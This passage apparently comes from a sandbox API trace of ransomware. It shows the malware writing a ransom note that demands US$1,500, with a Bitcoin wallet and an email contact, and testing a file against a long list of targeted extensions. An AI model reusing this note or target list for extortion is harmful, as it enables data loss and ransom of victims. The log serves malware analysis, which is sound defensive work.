FILES.txt") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Windows.D#\\a5daafd496ae30928b7ac626037af53c\\HOW TO DECRYPT FILES.txt" [0111.495] GetFileAttributesA (lpFileName="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Windows.D#\\a5daafd496ae30928b7ac626037af53c\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\assembly\\nativeimages_v2.0.50727_64\\microsoft.windows.d#\\a5daafd496ae30928b7ac626037af53c\\how to decrypt files.txt")) returned 0xffffffff [0111.497] CreateFileA (lpFileName="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Windows.D#\\a5daafd496ae30928b7ac626037af53c\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\assembly\\nativeimages_v2.0.50727_64\\microsoft.windows.d#\\a5daafd496ae30928b7ac626037af53c\\how to decrypt files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x90 [0111.514] lstrlenA (lpString="All your personal FILES are now ENCRYPTED!\r\n\r\n\r\nDon't worry, you can get back all your files\r\nI don't want to lose your files too. If I want to do something nasty I would have wipe out all of your data\r\nbut that is not helping me. :) \r\nSo temporary all of your files are mine now until you pay the service cost of recovering them.\r\nIf yo want to recover them contact me at the emaill below, I'll be more than happy to help you to get out of this situation.\r\nYou have got 48 hours exactly, before you lost your files forever.\r\nFailing which, the price to recover double with every 48 hours passing!\r\nRest assured, all your files will be recovered once payment is received.\r\n\r\nThe Price to get all things back to normal : US$ 1500\r\nMy BTC Wallet : 1Mc9xe3mjaMLz99CUjao88s65X3ydVEZbX\r\n\r\nEmail : frankhans@tuta.io\r\n\r\n") returned 813 [0111.514] WriteFile (in: hFile=0x90, lpBuffer=0x4f4b00*, nNumberOfBytesToWrite=0x32d, lpNumberOfBytesWritten=0x406561, lpOverlapped=0x0 | out: lpBuffer=0x4f4b00*, lpNumberOfBytesWritten=0x406561*=0x32d, lpOverlapped=0x0) returned 1 [0111.515] SetFileTime (hFile=0x90, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 1 [0111.515] CloseHandle (hObject=0x90) returned 1 [0111.516] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Windows.D#\\a5daafd496ae30928b7ac626037af53c\\", lpString2="Microsoft.Windows.Diagnosis.SDEngine.ni.dll" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Windows.D#\\a5daafd496ae30928b7ac626037af53c\\Microsoft.Windows.Diagnosis.SDEngine.ni.dll") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Windows.D#\\a5daafd496ae30928b7ac626037af53c\\Microsoft.Windows.Diagnosis.SDEngine.ni.dll" [0111.516] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Windows.D#\\a5daafd496ae30928b7ac626037af53c\\Microsoft.Windows.Diagnosis.SDEngine.ni.dll", pszSpec="*.ems") returned 0 [0111.516] lstrlenA (lpString="*.ems") returned 5 [0111.516] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Windows.D#\\a5daafd496ae30928b7ac626037af53c\\Microsoft.Windows.Diagnosis.SDEngine.ni.dll", pszSpec="*.db") returned 0 [0111.516] lstrlenA (lpString="*.db") returned 4 [0111.516] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Windows.D#\\a5daafd496ae30928b7ac626037af53c\\Microsoft.Windows.Diagnosis.SDEngine.ni.dll", pszSpec="*.dbf") returned 0 [0111.516] lstrlenA (lpString="*.dbf") returned 5 [0111.516] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Windows.D#\\a5daafd496ae30928b7ac626037af53c\\Microsoft.Windows.Diagnosis.SDEngine.ni.dll", pszSpec="*.myox") returned 0 [0111.516] lstrlenA (lpString="*.myox") returned 6 [0111.516] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Windows.D#\\a5daafd496ae30928b7ac626037af53c\\Microsoft.Windows.Diagnosis.SDEngine.ni.dll", pszSpec="*.myo") returned 0 [0111.516] lstrlenA (lpString="*.myo") returned 5 [0111.516] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Windows.D#\\a5daafd496ae30928b7ac626037af53c\\Microsoft.Windows.Diagnosis.SDEngine.ni.dll", pszSpec="*.qbw") returned 0 [0111.516] lstrlenA (lpString="*.qbw") returned 5 [0111.516] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Windows.D#\\a5daafd496ae30928b7ac626037af53c\\Microsoft.Windows.Diagnosis.SDEngine.ni.dll", pszSpec="*.qbb") returned 0 [0111.516] lstrlenA (lpString="*.qbb") returned 5 [0111.516] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Windows.D#\\a5daafd496ae30928b7ac626037af53c\\Microsoft.Windows.Diagnosis.SDEngine.ni.dll", pszSpec="*.qbm") returned 0 [0111.516] lstrlenA (lpString="*.qbm") returned 5 [0111.516] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Windows.D#\\a5daafd496ae30928b7ac626037af53c\\Microsoft.Windows.Diagnosis.SDEngine.ni.dll", pszSpec="*.qbo") returned 0 [0111.516] lstrlenA (lpString="*.qbo") returned 5 [0111.516] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Windows.D#\\a5daafd496ae30928b7ac626037af53c\\Microsoft.Windows.Diagnosis.SDEngine.ni.dll", pszSpec="*.qbx") returned 0 [0111.516] lstrlenA (lpString="*.qbx") returned 5 [0111.516] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Windows.D#\\a5daafd496ae30928b7ac626037af53c\\Microsoft.Windows.Diagnosis.SDEngine.ni.dll", pszSpec="*.qba") returned 0 [0111.516] lstrlenA (lpString="*.qba") returned 5 [0111.517] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Windows.D#\\a5daafd496ae30928b7ac626037af53c\\Microsoft.Windows.Diagnosis.SDEngine.ni.dll", pszSpec="*.qby") returned 0 [0111.517] lstrlenA (lpString="*.qby") returned 5 [0111.517] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Windows.D#\\a5daafd496ae30928b7ac626037af53c\\Microsoft.Windows.Diagnosis.SDEngine.ni.dll", pszSpec="*.qbj") returned 0 [0111.517] lstrlenA (lpString="*.qbj") returned 5 [0111.517] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Windows.D#\\a5daafd496ae30928b7ac626037af53c\\Microsoft.Windows.Diagnosis.SDEngine.ni.dll", pszSpec="*.ofx") returned 0 [0111.517] lstrlenA (lpString="*.ofx") returned 5 [0111.517] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Windows.D#\\a5daafd496ae30928b7ac626037af53c\\Microsoft.Windows.Diagnosis.SDEngine.ni.dll", pszSpec="*.qif") returned 0 [0111.517] lstrlenA (lpString="*.qif") returned 5 [0111.517] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Windows.D#\\a5daafd496ae30928b7ac626037af53c\\Microsoft.Windows.Diagnosis.SDEngine.ni.dll", pszSpec="*.mye") returned 0 [0111.517] lstrlenA (lpString="*.mye") returned 5 [0111.517] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Windows.D#\\a5daafd496ae30928b7ac626037af53c\\Microsoft.Windows.Diagnosis.SDEngine.ni.dll", pszSpec="*.mbox") returned 0 [0111.517] lstrlenA (lpString="*.mbox") returned 6 [0111.517] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Windows.D#\\a5daafd496ae30928b7ac626037af53c\\Microsoft.Windows.Diagnosis.SDEngine.ni.dll", pszSpec="*.eml") returned 0 [0111.517] lstrlenA (lpString="*.eml") returned 5 [0111.517] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Windows.D#\\a5daafd496ae30928b7ac626037af53c\\Microsoft.Windows.Diagnosis.SDEngine.ni.dll", pszSpec="*.pst") returned 0 [0111.517] lstrlenA (lpString="*.pst") returned 5 [0111.517] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Windows.D#\\a5daafd496ae30928b7ac626037af53c\\Microsoft.Windows.Diagnosis.SDEngine.ni.dll", pszSpec="*.ost") returned 0 [0111.517] lstrlenA (lpString="*.ost") returned 5 [0111.517] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Windows.D#\\a5daafd496ae30928b7ac626037af53c\\Microsoft.Windows.Diagnosis.SDEngine.ni.dll", pszSpec="*.idx") returned 0 [0111.517] lstrlenA (lpString="*.idx") returned 5 [0111.517] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Windows.D#\\a5daafd496ae30928b7ac626037af53c\\Microsoft.Windows.Diagnosis.SDEngine.ni.dll", pszSpec="*.dbx") returned 0 [0111.517] lstrlenA (lpString="*.dbx") returned 5 [0111.517] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Windows.D#\\a5daafd496ae30928b7ac626037af53c\\Microsoft.Windows.Diagnosis.SDEngine.ni.dll", pszSpec="*.sql") returned 0 [0111.517] lstrlenA (lpString="*.sql") returned 5 [0111.518] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Windows.D#\\a5daafd496ae30928b7ac626037af53c\\Microsoft.Windows.Diagnosis.SDEngine.ni.dll", pszSpec="*.mdb") returned 0 [0111.518] lstrlenA (lpString="*.mdb") returned 5 [0111.518] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Windows.D#\\a5daafd496ae30928b7ac626037af53c\\Microsoft.Windows.Diagnosis.SDEngine.ni.dll", pszSpec="*.fdb") returned 0 [0111.518] lstrlenA (lpString="*.fdb") returned 5 [0111.518] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Windows.D#\\a5daafd496ae30928b7ac626037af53c\\Microsoft.Windows.Diagnosis.SDEngine.ni.dll", pszSpec="*.wab") returned 0 [0111.518] lstrlenA (lpString="*.wab") returned 5 [0111.518] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Windows.D#\\a5daafd496ae30928b7ac626037af53c\\Microsoft.Windows.Diagnosis.SDEngine.ni.dll", pszSpec="*.dat") returned 0 [0111.518] lstrlenA (lpString="*.dat") returned 5 [0111.518] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Windows.D#\\a5daafd496ae30928b7ac626037af53c\\Microsoft.Windows.Diagnosis.SDEngine.ni.dll", pszSpec="*.txt") returned 0 [0111.518] lstrlenA (lpString="*.txt") returned 5 [0111.518] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Windows.D#\\a5daafd496ae30928b7ac626037af53c\\Microsoft.Windows.Diagnosis.SDEngine.ni.dll", pszSpec="*.jpeg") returned 0 [0111.518] lstrlenA (lpString="*.jpeg") returned 6 [0111.518] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Windows.D#\\a5daafd496ae30928b7ac626037af53c\\Microsoft.Windows.Diagnosis.SDEngine.ni.dll", pszSpec="*.jpg") returned 0 [0111.518] lstrlenA (lpString="*.jpg") returned 5 [0111.518] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Windows.D#\\a5daafd496ae30928b7ac626037af53c\\Microsoft.Windows.Diagnosis.SDEngine.ni.dll", pszSpec="*.png") returned 0 [0111.518] lstrlenA (lpString="*.png") returned 5 [0111.518] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Windows.D#\\a5daafd496ae30928b7ac626037af53c\\Microsoft.Windows.Diagnosis.SDEngine.ni.dll", pszSpec="*.php") returned 0 [0111.518] lstrlenA (lpString="*.php") returned 5 [0111.518] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Windows.D#\\a5daafd496ae30928b7ac626037af53c\\Microsoft.Windows.Diagnosis.SDEngine.ni.dll", pszSpec="*.cs") returned 0 [0111.518] lstrlenA (lpString="*.cs") returned 4 [0111.518] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Windows.D#\\a5daafd496ae30928b7ac626037af53c\\Microsoft.Windows.Diagnosis.SDEngine.ni.dll", pszSpec="*.cpp") returned 0 [0111.518] lstrlenA (lpString="*.cpp") returned 5 [0111.518] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Windows.D#\\a5daafd496ae30928b7ac626037af53c\\Microsoft.Windows.Diagnosis.SDEngine.ni.dll", pszSpec="*.rar") returned 0 [0111.518] lstrlenA (lpString="*.rar") returned 5 [0111.518] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Windows.D#\\a5daafd496ae30928b7ac626037af53c\\Microsoft.Windows.Diagnosis.SDEngine.ni.dll", pszSpec="*.zip") returned 0 [0111.519] lstrlenA (lpString="*.zip") returned 5 [0111.519] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Windows.D#\\a5daafd496ae30928b7ac626037af53c\\Microsoft.Windows.Diagnosis.SDEngine.ni.dll", pszSpec="*.html") returned 0 [0111.519] lstrlenA (lpString="*.html") returned 6 [0111.519] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Windows.D#\\a5daafd496ae30928b7ac626037af53c\\Microsoft.Windows.Diagnosis.SDEngine.ni.dll", pszSpec="*.htm") returned 0 [0111.519] lstrlenA (lpString="*.htm") returned 5 [0111.519] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Windows.D#\\a5daafd496ae30928b7ac626037af53c\\Microsoft.Windows.Diagnosis.SDEngine.ni.dll", pszSpec="*.xlsx") returned 0 [0111.519] lstrlenA (lpString="*.xlsx") returned 6 [0111.519] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Windows.D#\\a5daafd496ae30928b7ac626037af53c\\Microsoft.Windows.Diagnosis.SDEngine.ni.dll", pszSpec="*.xls") returned 0 [0111.519] lstrlenA (lpString="*.xls") returned 5 [0111.519] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Windows.D#\\a5daafd496ae30928b7ac626037af53c\\Microsoft.Windows.Diagnosis.SDEngine.ni.dll", pszSpec="*.mp4") returned 0 [0111.519] lstrlenA (lpString="*.mp4") returned 5 [0111.519] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Windows.D#\\a5daafd496ae30928b7ac626037af53c\\Microsoft.Windows.Diagnosis.SDEngine.ni.dll", pszSpec="*.ppt") returned 0 [0111.519] lstrlenA (lpString="*.ppt") returned 5 [0111.519] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Windows.D#\\a5daafd496ae30928b7ac626037af53c\\Microsoft.Windows.Diagnosis.SDEngine.ni.dll", pszSpec="*.pptx") returned 0 [0111.519] lstrlenA (lpString="*.pptx") returned 6 [0111.519] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Windows.D#\\a5daafd496ae30928b7ac626037af53c\\Microsoft.Windows.Diagnosis.SDEngine.ni.dll", pszSpec="*.doc") returned 0 [0111.519] lstrlenA (lpString="*.doc") returned 5 [0111.519] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Windows.D#\\a5daafd496ae30928b7ac626037af53c\\Microsoft.Windows.Diagnosis.SDEngine.ni.dll", pszSpec="*.dot") returned 0 [0111.519] lstrlenA (lpString="*.dot") returned 5 [0111.519] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Windows.D#\\a5daafd496ae30928b7ac626037af53c\\Microsoft.Windows.Diagnosis.SDEngine.ni.dll", pszSpec="*.docx") returned 0 [0111.519] lstrlenA (lpString="*.docx") returned 6 [0111.519] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Windows.D#\\a5daafd496ae30928b7ac626037af53c\\Microsoft.Windows.Diagnosis.SDEngine.ni.dll", pszSpec="*.7z") returned 0 [0111.519] lstrlenA (lpString="*.7z") returned 4 [0111.519] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Windows.D#\\a5daafd496ae30928b7ac626037af53c\\Microsoft.Windows.Diagnosis.SDEngine.ni.dll", pszSpec="*.tar") returned 0 [0111.519] lstrlenA (lpString="*.tar") returned 5 [0111.520] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Windows.D#\\a5daafd496ae30928b7ac626037af53c\\Microsoft.Windows.Diagnosis.SDEngine.ni.dll", pszSpec="*.bz2") returned 0 [0111.520] lstrlenA (lpString="*.bz2") returned 5 [0111.520] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Windows.D#\\a5daafd496ae30928b7ac626037af53c\\Microsoft.Windows.Diagnosis.SDEngine.ni.dll", pszSpec="*.gz") returned 0 [0111.520] lstrlenA (lpString="*.gz") returned 4 [0111.520] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Windows.D#\\a5daafd496ae30928b7ac626037af53c\\Microsoft.Windows.Diagnosis.SDEngine.ni.dll", pszSpec="*.mkv") returned 0 [0111.520] lstrlenA (lpString="*.mkv") returned 5 [0111.520] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Windows.D#\\a5daafd496ae30928b7ac626037af53c\\Microsoft.Windows.Diagnosis.SDEngine.ni.dll", pszSpec="*.eml") returned 0 [0111.520] lstrlenA (lpString="*.eml") returned 5 [0111.520] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Windows.D#\\a5daafd496ae30928b7ac626037af53c\\Microsoft.Windows.Diagnosis.SDEngine.ni.dll", pszSpec="*.msg") returned 0 [0111.520] lstrlenA (lpString="*.msg") returned 5 [0111.520] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Windows.D#\\a5daafd496ae30928b7ac626037af53c\\Microsoft.Windows.Diagnosis.SDEngine.ni.dll", pszSpec="*.edb") returned 0 [0111.520] lstrlenA (lpString="*.edb") returned 5 [0111.520] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Windows.D#\\a5daafd496ae30928b7ac626037af53c\\Microsoft.Windows.Diagnosis.SDEngine.ni.dll", pszSpec="*.accdb") returned 0 [0111.520] lstrlenA (lpString="*.accdb") returned 7 [0111.520] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Windows.D#\\a5daafd496ae30928b7ac626037af53c\\Microsoft.Windows.Diagnosis.SDEngine.ni.dll", pszSpec="*.odb") returned 0 [0111.520] lstrlenA (lpString="*.odb") returned 5 [0111.520] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Windows.D#\\a5daafd496ae30928b7ac626037af53c\\Microsoft.Windows.Diagnosis.SDEngine.ni.dll", pszSpec="*.java") returned 0 [0111.520] lstrlenA (lpString="*.java") returned 6 [0111.520] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Windows.D#\\a5daafd496ae30928b7ac626037af53c\\Microsoft.Windows.Diagnosis.SDEngine.ni.dll", pszSpec="*.asm") returned 0 [0111.520] lstrlenA (lpString="*.asm") returned 5 [0111.520] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Windows.D#\\a5daafd496ae30928b7ac626037af53c\\Microsoft.Windows.Diagnosis.SDEngine.ni.dll", pszSpec="*.pfx") returned 0 [0111.520] lstrlenA (lpString="*.pfx") returned 5 [0111.520] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Windows.D#\\a5daafd496ae30928b7ac626037af53c\\Microsoft.Windows.Diagnosis.SDEngine.ni.dll", pszSpec="*.pem") returned 0 [0111.520] lstrlenA (lpString="*.pem") returned 5 [0111.520] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Windows.D#\\a5daafd496ae30928b7ac626037af53c\\Microsoft.Windows.Diagnosis.SDEngine.ni.dll", pszSpec="*.p12") returned 0 [0111.521] lstrlenA (lpString="*.p12") returned 5 [0111.521] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Windows.D#\\a5daafd496ae30928b7ac626037af53c\\Microsoft.Windows.Diagnosis.SDEngine.ni.dll", pszSpec="*.gpg") returned 0 [0111.521] lstrlenA (lpString="*.gpg") returned 5 [0111.521] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Windows.D#\\a5daafd496ae30928b7ac626037af53c\\Microsoft.Windows.Diagnosis.SDEngine.ni.dll", pszSpec="*.vsd") returned 0 [0111.521] lstrlenA (lpString="*.vsd") returned 5 [0111.521] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Windows.D#\\a5daafd496ae30928b7ac626037af53c\\Microsoft.Windows.Diagnosis.SDEngine.ni.dll", pszSpec="*.odg") returned 0 [0111.521] lstrlenA (lpString="*.odg") returned 5 [0111.521] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Windows.D#\\a5daafd496ae30928b7ac626037af53c\\Microsoft.Windows.Diagnosis.SDEngine.ni.dll", pszSpec="*.raw") returned 0 [0111.521] lstrlenA (lpString="*.raw") returned 5 [0111.521] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Windows.D#\\a5daafd496ae30928b7ac626037af53c\\Microsoft.Windows.Diagnosis.SDEngine.ni.dll", pszSpec="*.nef") returned 0 [0111.521] lstrlenA (lpString="*.nef") returned 5 [0111.521] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Windows.D#\\a5daafd496ae30928b7ac626037af53c\\Microsoft.Windows.Diagnosis.SDEngine.ni.dll", pszSpec="*.svg") returned 0 [0111.521] lstrlenA (lpString="*.svg") returned 5 [0111.521] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Windows.D#\\a5daafd496ae30928b7ac626037af53c\\Microsoft.Windows.Diagnosis.SDEngine.ni.dll", pszSpec="*.psd") returned 0 [0111.521] lstrlenA (lpString="*.psd") returned 5 [0111.521] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Windows.D#\\a5daafd496ae30928b7ac626037af53c\\Microsoft.Windows.Diagnosis.SDEngine.ni.dll", pszSpec="*.vmx") returned 0 [0111.521] lstrlenA (lpString="*.vmx") returned 5 [0111.522] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Windows.D#\\a5daafd496ae30928b7ac626037af53c\\Microsoft.Windows.Diagnosis.SDEngine.ni.dll", pszSpec="*.vmdk") returned 0 [0111.522] lstrlenA (lpString="*.vmdk") returned 6 [0111.522] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Windows.D#\\a5daafd496ae30928b7ac626037af53c\\Microsoft.Windows.Diagnosis.SDEngine.ni.dll", pszSpec="*.vdi") returned 0 [0111.522] lstrlenA (lpString="*.vdi") returned 5 [0111.522] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Windows.D#\\a5daafd496ae30928b7ac626037af53c\\Microsoft.Windows.Diagnosis.SDEngine.ni.dll", pszSpec="*.lay6") returned 0 [0111.522] lstrlenA (lpString="*.lay6") returned 6 [0111.522] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Windows.D#\\a5daafd496ae30928b7ac626037af53c\\Microsoft.Windows.Diagnosis.SDEngine.ni.dll", pszSpec="*.mpeg") returned 0 [0111.522] lstrlenA (lpString="*.mpeg") returned 6 [0111.522] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Windows.D#\\a5daafd496ae30928b7ac626037af53c\\Microsoft.Windows.Diagnosis.SDEngine.ni.dll", pszSpec="*.djvu") returned 0 [0111.522] lstrlenA (lpString="*.djvu") returned 6 [0111.522] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Windows.D#\\a5daafd496ae30928b7ac626037af53c\\Microsoft.Windows.Diagnosis.SDEngine.ni.dll", pszSpec="*.tiff") returned 0 [0111.522] lstrlenA (lpString="*.tiff") returned 6 [0111.522] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Windows.D#\\a5daafd496ae30928b7ac626037af53c\\Microsoft.Windows.Diagnosis.SDEngine.ni.dll", pszSpec="*.backup") returned 0 [0111.522] lstrlenA (lpString="*.backup") returned 8 [0111.522] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Windows.D#\\a5daafd496ae30928b7ac626037af53c\\Microsoft.Windows.Diagnosis.SDEngine.ni.dll", pszSpec="*.pdf") returned 0 [0111.522] lstrlenA (lpString="*.pdf") returned 5 [0111.522] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Windows.D#\\a5daafd496ae30928b7ac626037af53c\\Microsoft.Windows.Diagnosis.SDEngine.ni.dll", pszSpec="*.cert") returned 0 [0111.523] lstrlenA (lpString="*.cert") returned 6 [0111.523] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Windows.D#\\a5daafd496ae30928b7ac626037af53c\\Microsoft.Windows.Diagnosis.SDEngine.ni.dll", pszSpec="*.docm") returned 0 [0111.523] lstrlenA (lpString="*.docm") returned 6 [0111.523] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Windows.D#\\a5daafd496ae30928b7ac626037af53c\\Microsoft.Windows.Diagnosis.SDEngine.ni.dll", pszSpec="*.xlsm") returned 0 [0111.523] lstrlenA (lpString="*.xlsm") returned 6 [0111.523] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Windows.D#\\a5daafd496ae30928b7ac626037af53c\\Microsoft.Windows.Diagnosis.SDEngine.ni.dll", pszSpec="*.dwg") returned 0 [0111.523] lstrlenA (lpString="*.dwg") returned 5 [0111.523] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Windows.D#\\a5daafd496ae30928b7ac626037af53c\\Microsoft.Windows.Diagnosis.SDEngine.ni.dll", pszSpec="*.nd") returned 0 [0111.523] lstrlenA (lpString="*.nd") returned 4 [0111.523] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Windows.D#\\a5daafd496ae30928b7ac626037af53c\\Microsoft.Windows.Diagnosis.SDEngine.ni.dll", pszSpec="*.tlg") returned 0 [0111.523] lstrlenA (lpString="*.tlg") returned 5 [0111.523] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Windows.D#\\a5daafd496ae30928b7ac626037af53c\\Microsoft.Windows.Diagnosis.SDEngine.ni.dll", pszSpec="*.lgb") returned 0 [0111.523] lstrlenA (lpString="*.lgb") returned 5 [0111.523] PathMatchSpecA 